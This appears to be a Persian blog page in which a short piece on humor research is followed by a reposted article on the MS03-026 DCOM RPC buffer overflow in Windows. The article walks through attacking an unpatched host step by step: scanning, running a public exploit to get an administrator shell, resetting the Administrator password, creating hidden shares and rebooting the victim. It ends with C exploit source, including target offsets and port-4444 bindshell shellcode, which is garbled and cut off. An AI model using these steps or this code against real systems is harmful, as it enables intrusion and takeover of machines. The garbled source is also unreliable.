انسان زمانی موضوعی را خنده دار می بیند که آن موضوع برخلاف شیوه ها و شکلهای پذیرفته شده معمولی باشد. همچنین بر اساس این مطالعه هر فرد حاضر در یک رویداد به تنهایی باید درباره تشخیص خنده دار بودن یک موقعیت قضاوت کنند.
متخصصان روانکاوی در دانشگاه کلرادو تصمیم گرفتند فرضیه خود را درباره لزوم بی خطر بودن یک ناهنجاری اجتماعی برای خنده دار شدن آن با درخواست از تعدادی از داوطلبان برای اجرای تعدادی موقعیت خنده دار و یا معمولی به اثبات برسانند.
در یکی از این اجراها با قرار دادن یک فرد متعصب در موقعیتی که برایش ناخوشایند بود و قرار دادن فردی بی تفاوت در همان موقعیت، دانشمندان دریافتند گزینه اول بیشتر باعث خنده افراد شد زیرا در آن از حدود اخلاق تخطی شده بود. همچنین قرار دادن افرادی که رفتن به کلیسا از برنامه های همیشگی آنها بود و افرادی که هرگز به کلیسا نمی رفتند، در دو موقعیت مختلف نشان داد هر فرد به صورت مجزا و شخصی درباره خنده دار بودن یک موقعیت تصمیم گیری می کند.
به گفته "جان بیشاپ" کمدین و مجری یکی از برنامه های کمدی مشهور شبکه بی بی سی، تخطی از هنجارها بهترین مدل برای تشریح حس شوخ طبعی است. شوخ طبعی باید مانند نگاه کردن از میان پنجره ای با شیشه های ترک خورده باشد، در این صورت می توان موضوعی را دید اما آنچه دیده می شود متفاوت از واقعیت است. همچنین عبور بیش از اندازه از هنجارها می تواند موقعیتی را آزاردهنده و یا توهین آمیز کند که این به هیچ وجه خنده دار نیست.
براساس این گزارش، محققان معتقدند این یافته می تواند به توضیح اینکه چرا یک موقعیت خنده دار در تمامی فرهنگهای کشورهای مختلف خنده دار به شمار نمی رود نیز کمک کند. زیرا هنجارها در جوامع مختلف متفاوت اند و شیوه تخطی از آنها نیز از فرهنگی به فرهنگ دیگر تفاوت دارد.

دانلود کتاب سلامت طبیعی داروهای طبیعی

آزاد روزفراخ — Fri, 20 Jan 2012 17:06:04 GMT

برای دانلود آدرس زیر را در ادرس بار مرورگر خود کپی کنید

http://s2.picofile.com/file/7257250963/%D8%B3

نویسنده :آزاد روزفراخ

مقدمه ای برنوعی از حملات جدید و نفوذ به سرور های Microsoft IIS Server

آزاد روزفراخ — Fri, 20 Jan 2012 16:48:45 GMT

بقیه در ادامه مطلب

مقدمه ای برنوعی از حملات جدید و نفوذ به سرور های
Microsoft IIS Server
RPC Buffer OverFlowشرحی بر آسیب پذیری
C0llect0r = نویسنده آزاد روزفراخ
Security Focus , Zone-h :منابع
تاریخ :16/1/2012
1 www.azad94.persianblog.ir
RPC buffer Overflow
مقدمه و تاریخچه این آسیب پذیری
کشف این حفره به تابستان سال ۲۰۰۳ میلادی مربوط می شود برای نخستین با ر در آن تاری خ که توسط کارشناسان امنیتی Microsoft IIS Serves وجود یک حفره جدید در محصولاتاعلام گردیده ش د بود.خبر از شکل گیری یک سری حملا ت جدید به این نوع Security Focus از وب سرور م ی داد. جالب است بدانید یکی از اولین قربانیان این نوع از حملات که معروف خود شرکت مایکروسافت بود .این شرکت به سرعت ” RPC buffer overflow “ است ب ههای این باگ را در سایت خود قرار داد و در بولتن خبری خود از کلیه کاربرانی که patchبودند خواست هر Win XP(SP0-SPو (1 Win2k(SP1-دارای یکی از سیست م عامل های (4چه زودتر به رفع این باگ اقدام نمایند .
نیز هم نسبت به افزایش حملات اینترنتی ونیز گسترس انواعی Security Focus متخصصانها که مرتبط به این حفره ی جدید م ی شد هشدار دادند و توصیه آنها نیز مبنی ب ر Worm ازبه روز رسانی سرویس های پشتیبانی ونصب فایروال و ب ه خصوص گرفتن و نصب پچ های ارایه شده بود.
به سرعت م ن تشر GUI و command line های این نوع از آسیب پذیری در انواعExploit “ DCOM یا به طور مختصر “ DCOM RCP Exploit GUI” گردید که از معروف ترین آنها32 می باشد . “ قصد نویسندگان این مقاله بر این بوده است که هشداری مجدد مبنی بر وجود این حفره بر که هنوز اقدامی به رفع این آسیب پذیری بر روی سیستم های IIS روی سرورهای مبتنی برخود را ننموده اند ارایه دهن د . بسیاری از سیاتهای معروف ایرانی که حتی بعضی از آنها بانک دولتی می باشند نیز این آسیب پذیری را در خود دارن د . امیدواریم بعد از خواندن این مقاله از دستورالعمل های ارایه شده برای شناسایی و رفع این باگ بهره لازم را ببرید.
لازم به توضیح است تا تاریخ امروز با بررسی ها ی به عمل آمده بسیاری از سرورهای موجود چه در خارج ازکشور و چه در ایرا ن نسبت به رفع حفره موجود اقدام لازم به عمل نیاورده اند .
از مهمترین سرورهایی که در ایران ، قابلیت نفوذ از طریق این حفره را دارا م ی باشند و بعد از هشدارهای مکرر نویسندکان این مقاله ن سبت به رفع ان اقدام کردند سرورهایی مربوط به چن د بانک بزرگ کشور و دانشگاه های بزرگ ایران بوده است .به جهت اینکه تعدادی از این سرورها 2 www.WebSecurityMgz.com
RPC buffer Overflow
هنوز تا این تاریخ به رفع این مشکل اقدام ننمود ه اند و برای جلوگیری از هر نوع سوء استفاده از این مقاله از آوردن نام آنها خودداری می شود
***
لازم به تذکر است مطالب گفته شد ه دراین مقاله جنبه اموزشی دارد وهر گونه استفاده غیر آموزشی از این مطالب به عهده خود کاربران می باش د و نویسندگان این مقال ه و مدیریت سایت امنیت وب هیچ گونه مسوولیتی را در قبال آن ندارند.
***شده Patch این مقاله شرحی است بر ر و ش مرحله به مرحله نفوذ به سیستم های غیربا استفاده از ابزار های معمولی در دسترس و Microsoft Windows 2K/XP/2003همچنین فرمانهای استاندارد ویندوز !
که RPC(Remote Procedure Calling) و اینکه این آسیب پذی بر مبنای سرریز کردن بافردر سال 2003 کشف گردید استوار م ی باشد .لازم به توضیح است که این همان حفره ای م ی و دیگر انواع آن از MSBLAST باشد که بسیاری از کرم های اینترنتی از قبیل کرم معروفهمین حفره برای انتشار خود در اینترنت در تابستان سال گذشته میلادی استفاده م ی کردند از طریق این حفره غیر قابل نفوذ م ی KB823980 (MS03-.سیستم های پچ شده با (026برای همگان هم اکنون شناخته شده است دیگر RPC باشند.از زمانی که این سرریزی بافرنوشتن این مقاله به منزله به خطر انداختن امنیت شبکه نمی باشد
منظور اصلی این مقاله صرفا از بین بردن خطرات و هشدار به ماشین های پچ نشده و برای نفوذ به سیستم های آسیب Exploit همچنین نمایش نحوه چگونگی استفاد ه از اینپذیر است.
نرم افزارهای مورد نیاز:
nmap (current version is 3.50 as of this writing) http://www.insecure.org/nmap/nmap_download.html Microsoft's KB823980 Scanner DCOM-KB827363-X86-ENU.exe DCOM RPC Exploit GUI RPC2.zip
‘RPC GUI امکان دارد با کشف Norton و McAfee هشدار: برنامه های آنتی ویروس مثلv2-r3l4x.exe3 www.WebSecurityMgz.com
RPC buffer Overflow
است آن را ب ه صورت یک ویروس شناسایی کند و از بیین ببرد RPC.zip که فایل اصلیولی این فایل ویروس یا کرم و یا چیز دیگری نم ی باشد .شرکت های تهیه کننده آنتی ویروس را در زمره ویروس های شناخته شد ه طبقه بندی کرده اند تا از زیان ها ی Exploit اینبر عهده ی کاربران می باشد) Exploit احتمالی آن جلوگیری کنند ( مسئولیت استفاده از این
Exploit نحوه عملکرد
توجه: تمامی عملیات نمایش داده شده بر روی یک سیستم فرضی بوده و فقط به منظور تهیه گردیده است . Exploit آشنایی کاربران با نحوه عملکرد این
سیستم خود را شناسایی ip “ipconfig” ۱: در ابتدا وارده شبکه شوید و با انجام دستورمشخص شده سیستم 10.10.10.118 می باشد . ip کنید .در شکل زیر
هستند را شناسایی کنی د .شما ب رای این Up شبکه ماشین هایی را که pinging 2: با استفاده ازبهره ببرید .با verbose برای حالت -v . استفاده کنید –sP منظور میتوانید از سوئیچهایی را که قصد اسکن دارید را مشخص نمایی د . IP مقداری بررسی معمولی م ی تواند دامنه100 را میتوانید اسکن کنید و -هدف ۱۹۲,۱۶۸,۱,۱۰۱ باشد بنابراین دامنه 120 IP برا مثال اگرموجود را اسکن کنید با این وجود در این subnet نکته دیگر اینکه همیشه لازم نیست تمامیعقیده بدی نم ی تواند باش د.در مثال Ip Range مورد برای شبکه های بزرگتر اسکن کامل یکزیر من فقط قصد دارم برای رسیدن به هدفم یک حوز ه ی کوچکی رو برای شناسایی ، اسکن کنم البته در این مورد من آی پی هدف خودم ر ا می شناسم و به صورت تصادفی قصد ندارم یک هدف ر ا شناسایی کنم . البته این موضوع به خود شما بستگی دا ر د .من اسکن رو شروع م ی 4 www.WebSecurityMgz.com
RPC buffer Overflow
10.10.10.33 (MONKEY) کنم نتایج به سرعت مشخص می ش ود و شما میت و انید ببینی د کهپیدا نکردید یک up وجود دار د و روشن است به نت ا یج کمی ب یشتر دقت کن ی د اگر سیستمکامل مورد بررسی قرار دهید. subnet حوزه دیگر را با
ویندوز run در این مرحله م ی توانید به طور معمولی با استفاده از 10.10.10.33\\ ازببینید آیا پسووردهای بلا اثردر این سیستم استفاده شده است یا نه . چند تا ر ا امتحان کن ی د .اما ب گذارید برای این مقاله فرض کنیم که سیستم هدف از پسوردهای تعریف شده برای اکانت استفاده می کند . Administrator هایش به خصوص
۳: مایکرو سافت یک ابزار کوچکی برای مدیران شبکه ساخته است که بتوانند با کم ک آن و با پچ نشده ان د . (هکرها از این کار KBاسکن شبکه ب ه سرعت بفهمن د کدام سیستم ها با 823980مایکروسافت و دیگر کارهای مشابه کاملا استقبلا ل م ی کنند چون از یک مرحله نوشتن برنامه ها در سیستم هدف راحت م ی شوند). ما از این ابزار م ی Bug برای پیدا کردن این نوع ازPinging با عملیات Nmap ای استفاده کنیم که Up توانیم برای اسکن تمامی میزبان هایآنها را شناسایی کرده اس ت . تصویر پایین نمایش اسکن آی پی هدف ر ا و اینکه سرور مورد نشده است را با سرعت به ما ن ش ان می دهد . شما با دیدن آن می فهم ی د ماشی ن Patch نظرآسیب پذیر است . RPC buffer Overflow مورد نظر به اکسپلویترو به “KB824146Scan.exe” توجه : من برای جلوگیری از دست درد این اسم طولانیتغییر “scan.exe”دادم پیشنهاد می کنم شما هم قبل از شروع اسکن این کار حتما انجام دهید.
5 www.WebSecurityMgz.com
RPC buffer Overflow
به سرور آسیب پذیر Explit می رسیم به قسمتی که مورد علاقه هکر ها ست بله تزریق
OS هدف ر ا وارد کن ی د در ضمن نوع IP ر ا باز کن ی د و آدرس DCOM RPC Exploit : ۴سیستم که آیا
ر ا امتحان کنید و اگر کار نکرد XP هست یا ۲۰۰۰ ر ا تعیین کنی د . البته میت و انید اول XP میتو انید بفهمی د آیا ارتباط دار ی د یا خیر Test دوباره با 2000 سعی کنی د . با زدن دک م هرا بزنید Exploit سپس می توانید دکمه 6 www.WebSecurityMgz.com
RPC buffer Overflow
می شود restart دوباره IIS را اجرا کند بعد exploit ۵: کمی صیر کنید تا سرورنمایش داده می ش ود بر خلاف انواع Pop up تصویر زیر به صورت exploit بعد از اجرای
exploit دیگری ازیکی از پورت های سیستم خود ت ان ر ا به حالت Shell Account ها که شما باید برای گرفتنیا هر چیز دی گ ری Netcat ب اشید حالا یا با connection شنود قرار دهید و منتظر برقراریباز م ی Shell نیاز به این کار ندار ی د خودش به صورت خودکار یک Exploit اما در اینکند.الان شما واقعا در کامپیوتر قربانی با حق دستیابی به منابع سیستم به صورت Ftp هستید . یک روش معمول این است که با برپایی یک Super User یا Administrator و از طریق شل و با استفاده از فرمان های (TFTPD سرور روی سیستم خود ت ان (مثل 32به رد و بدل ک ردن فایلها بین سرور و سیستم خود ت ان بپردازی د . البته این روش ftp استانداردبه سیستم هدف وصل file Sharing مقداری کند می باشد و تکنیک بهتر ای ن است که از طریقبشوید.
7 www.WebSecurityMgz.com
RPC buffer Overflow
دسترسی داریم م ی توانیم پسورد هر کاربری ر ا روی سیستم Admin زمانی که ما بصورت( Micro$fot بدون دانستن خود پسوورد عوض کنیم ( باز هم با تشکر ازرا در شل تایپ کنید .در net user برای اینکه ببینید چه کاربرهایی در دسترس هست فرمانببینیم که به احتمال زیاد مورد admin تصویر پایین ما می توانیم اکانت اصلی را با نامایجاد شده و XP در موقع نصب Administrator استفاده اصلی قرار می گیرد و اکانتاحتمالا به کار نمی رود. .
یک سری جزییات درمورد این اکانت net user administrator ۶:با استفاده از دستورمی توانید بفهمی د که آخرین باری که استفاده شده بوده Last logon مشاهده می کنید در خطچه موقع بوده و ما قصد داریم به همین نام کاربری ر ا با عوض کردن پسورد ، داخل ش ویم. به این علت که معمولا از این نام کاربری استفاده نم ی شود. البته ای ن را هم بگویم که خود شما ه م بسازی د ولی با اینکار احتمال لو رفتن administrator می توانید یک نام کاربری با دسترسیمراجعه کنی د . شما می توانید بفهمی د net نفوذ ب الا می رود .برای دیگر کارها به زیر دستوراتاز ماه و سال و روز کدام نام کاربری مورد استفاده قرا ر نمی گیرد رو باه م ان کار کنید زیرا با ای که صاحب آن نام کاربری به سیستم خود login عوض کردن پسورد دیگران با اولین8 www.WebSecurityMgz.com
RPC buffer Overflow
انجام می دهد به اشکال بر م ی خورد و می فهمد که سیستم مورد حمله قرا ر گرفته و برنامه نفوذ شما هم با شکست مواجهه می شود.
نظارت پنهانی بر عملکرد یک سیستم لذت بیشتری از افشای آن دارد .در ادامه نفوذ خود م ان ر ا وارد Exploit برای آموزش گسترش م ی دهیم ولی پیشنهاد م ی کنم اگر با استفاده از اینسیستمی شد ید با زدن یک میل به مدیر آن سایت آنها ر ا از مشکل سیست م اشان با خبر کنید ولی اگر مشکل سرور را با هشدار شما رفع نکردند آنگاه شما می توانید...... ؟!
پ سورد ر ا به ۱۲۳۴۵ net user administrator ۷:به سادگی م ی توانید با فرمان 12345کنید. login تغییر بد هید بعد از اجرای موفقیت آمیز دستور ، شما می توانید با پسورد جدیداستفاده کنید که از شما net user administrator * در ضمن می تونید از دستوردرخواست وارد کردن پسوورد جدید رو م ی کند این هم ی ک روش ساده برای ساخت پسووردهای بی اثر هست و لی با این وجود این دستور آخر به خوبی اجرا نم ی شود پس از انجام این کار بهتر است دوری کنید.
9 www.WebSecurityMgz.com
RPC buffer Overflow
، net share هایی در دسترس هس ت ند. با استفاده از فرمان share ۸: اول ب گذارید ببینیم چهفعال است و م ی c$ های موجود ر ا مشاهده کنید در تصویر زیر م ی بینید که share لیستدرست کنید شکل فرمان ها share توانید از آن استفاده کنید البته خود شما هم م ی توانید ی کبه صورت زیر است:
format: net share [sharename=drive:path]
Two examples are: net share data=c:\data net share data$=c:\data (Adding a '$' after a share name makes it a hidden share)
To remove the share follow the format: net share [sharename] /delete
ساخته شده ، با استفاده از این دستور متصل شوید. share ۹: حال به
10 www.WebSecurityMgz.com
RPC buffer Overflow
۱۰: پسورد که مشخص اشت : ۱۲۳۴۵
و حالا شما آن چیزی ر ا که م ی خواهید ب ه دست آوردید و من مطمئن هستم شما قصد خرابکاری و آسیب رسانی را در اینجا نخواهید داشت.
11 www.WebSecurityMgz.com
RPC buffer Overflow
کردن سیستمی باعث می شود ک ه کامپیوتر هدف توقف کند Exploit راهنمایی : بعضی اوقاتشما را ندهد یا ب ه نظر برس د که بصورت تصادفی file sharing و جواب درخواست هایشده است .اگر شما موفق شده باشید پسورد ر ا عوض کر د ه باشی د و سعی کنید reboot دوباره وصل ش وید سیستم هدف در خواست شما مبنی بر اتصال رابرگشت می ده د چون هنوز سیستم از همان پسورد قبلی استفاده م ی کند و برای اینکه شما بت و انید از پسوردی که XP کنید . اگر شما ویندوز shutdown ساخته اید ، استفاده کنید باید سیسنم هدف روبا این دستور –r استفاده کنید البته با سوییچ shutdown دارید بصورت معمول از دستورهمی کنید. به شکل زیر توجه بفرمایید reboot سیستم را از راه دور
و این همان چیزی هست که بنظر می رسد کار تمام شده است! 12 www.WebSecurityMgz.com
RPC buffer Overflow
کلام آخر : لطفا از مطالب فوق در جهت افزایش امنیت س یستم خودت ان استفاده کنید و حتما چک کنید و به دیگران نیز گوشزد کنید. Bug سرورهای خود را از جهت نداشتن این
یکی از source برای آشنایی بیشتر و استفاده کاربرانی که به برنامه نویسی مسلط هستندرا هم در این مقاله قرار دا د م.به دو مرحله ای ب ودن سر ریز شدن بافر توجه Exploit انواع اینکنید:
#ifdef WIN32
#include <Windows.h<
#endif
#include <stdio.h<
#include <stdlib.h<
#include <sys/types.h<
#ifndef WIN32
#include <error.h<
#include <sys/socket.h<
#include <netinet/in.h<
#include <arpa/inet.h<
#include <unistd.h<
#include <netdb.h<
#define STD_IN ۰
#endif
#include <fcntl.h< 13 www.WebSecurityMgz.com
RPC buffer Overflow
unsigned char bindstr} = []
۰x05, 0x00, 0x0B, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00،
۰x00, 0x7F, 0x00, 0x00, 0x00،
۰xD0, 0x16, 0xD0, 0x16, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00،
۰x00, 0x01, 0x00, 0x01, 0x00،
۰xa0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00،
۰x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C, 0xC9, 0x11, 0x9F, 0xE8, 0x08،
۰x00،
۰x2B, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00
؛{
unsigned char request1} = []
۰x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0xE8, 0x03, 0x00،
۰x00, 0xE5, 0x00, 0x00, 0x00, 0xD0, 0x03, 0x00, 0x00, 0x01،
۰x00, 0x04, 0x00, 0x05, 0x00, 0x06, 0x00, 0x01, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0x24, 0x58, 0xFD, 0xCC،
۰x45, 0x64, 0x49, 0xB0, 0x70, 0xDD, 0xAE, 0x74, 0x2C, 0x96،
۰xD2, 0x60, 0x5E, 0x0D, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x70, 0x5E, 0x0D, 0x00, 0x02, 0x00, 0x00،
۰x00, 0x7C, 0x5E, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10،
۰x00, 0x00, 0x00, 0x80, 0x96, 0xF1, 0xF1, 0x2A, 0x4D, 0xCE،
۰x11, 0xA6, 0x6A, 0x00, 0x20, 0xAF, 0x6E, 0x72, 0xF4, 0x0C،
۰x00, 0x00, 0x00, 0x4D, 0x41, 0x52, 0x42, 0x01, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0xF0, 0xAD, 0xBA, 0x00،
۰x00, 0x00, 0x00, 0xA8, 0xF4, 0x0B, 0x00, 0x60, 0x03, 0x00،
۰x00, 0x60, 0x03, 0x00, 0x00, 0x4D, 0x45, 0x4F, 0x57, 0x04،
۰x00, 0x00, 0x00, 0xA2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00،
۰x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x38،
۰x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x30،
۰x03, 0x00, 0x00, 0x28, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x01, 0x10, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xC8،
۰x00, 0x00, 0x00, 0x4D, 0x45, 0x4F, 0x57, 0x28, 0x03, 0x00،
۰x00, 0xD8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02،
۰x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x00, 0xC4, 0x28, 0xCD, 0x00, 0x64, 0x29, 0xCD،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0xB9، 14 www.WebSecurityMgz.com
RPC buffer Overflow
۰x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x46, 0xAB, 0x01, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00،
۰x46, 0xA5, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xA6, 0x01, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x46, 0xA4, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00،
۰x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xAD،
۰x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x46, 0xAA, 0x01, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00،
۰x46, 0x07, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x58،
۰x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00،
۰x00, 0x20, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x30،
۰x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x10, 0x08،
۰x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x50, 0x00, 0x00, 0x00, 0x4F،
۰xB6, 0x88, 0x20, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x01, 0x10, 0x08, 0x00, 0xCC, 0xCC, 0xCC،
۰xCC, 0x48, 0x00, 0x00, 0x00, 0x07, 0x00, 0x66, 0x00, 0x06،
۰x09, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x46, 0x10, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x19, 0x0C, 0x00, 0x58،
۰x00, 0x00, 0x00, 0x05, 0x00, 0x06, 0x00, 0x01, 0x00, 0x00،
۰x00, 0x70, 0xD8, 0x98, 0x93, 0x98, 0x4F, 0xD2, 0x11, 0xA9،
۰x3D, 0xBE, 0x57, 0xB2, 0x00, 0x00, 0x00, 0x32, 0x00, 0x31،
۰x00, 0x01, 0x10, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x80،
۰x00, 0x00, 0x00, 0x0D, 0xF0, 0xAD, 0xBA, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x18, 0x43, 0x14, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x4D،
۰x45, 0x4F, 0x57, 0x04, 0x00, 0x00, 0x00, 0xC0, 0x01, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x46, 0x3B, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00، 15 www.WebSecurityMgz.com
RPC buffer Overflow
۰x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00،
۰x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01،
۰x00, 0x81, 0xC5, 0x17, 0x03, 0x80, 0x0E, 0xE9, 0x4A, 0x99،
۰x99, 0xF1, 0x8A, 0x50, 0x6F, 0x7A, 0x85, 0x02, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x10, 0x08, 0x00, 0xCC،
۰xCC, 0xCC, 0xCC, 0x30, 0x00, 0x00, 0x00, 0x78, 0x00, 0x6E،
۰x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0xDA, 0x0D, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x2F, 0x0C،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00،
۰x00, 0x46, 0x00, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01،
۰x10, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x10, 0x00, 0x00،
۰x00, 0x30, 0x00, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x01, 0x10, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x68،
۰x00, 0x00, 0x00, 0x0E, 0x00, 0xFF, 0xFF, 0x68, 0x8B, 0x0B،
۰x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00،
۰x00, 0x00, 0x00
؛{
unsigned char request2} = []
۰x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00،
۰x00, 0x5C, 0x00, 0x5C, 0x00
؛{
unsigned char request3} = []
۰x5C, 0x00, 0x43, 0x00, 0x24, 0x00, 0x5C, 0x00, 0x31, 0x00, 0x32،
۰x00, 0x33, 0x00, 0x34, 0x00, 0x35, 0x00, 0x36, 0x00, 0x31،
۰x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31،
۰x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31،
۰x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x2E،
۰x00, 0x64, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x00, 0x00
؛{
unsigned char *targets} = []
"Windows 2000 SP0 (english،"(
"Windows 2000 SP1 (english،"(
"Windows 2000 SP2 (english،"(
"Windows 2000 SP3 (english،"( 16 www.WebSecurityMgz.com
RPC buffer Overflow
"Windows 2000 SP4 (english،"(
"Windows XP SP0 (english،"(
"Windows XP SP1 (english،"(
NULL
؛{
unsigned long offsets} = []
۰x77e81674،
۰x77e829ec،
۰x77e824b5،
۰x77e8367a،
۰x77f92a9b،
۰x77e9afe3،
۰x77e626ba،
؛{
unsigned char sc[] = "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x46\x00\x58\x00" "\xff\xff\xff\xff" /* return address/*
\"xcc\xe0\xfd\x7f" /* primary thread data block/*
\"xcc\xe0\xfd\x7f" /* primary thread data block/*
*/ port 4444 bindshell/*
\"x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
\"x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
\"x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
\"x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
\"x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
\"x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
\"x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
\"x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
\"x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
\"x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
\"x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
\"xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
\"xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
\"xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
\"xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
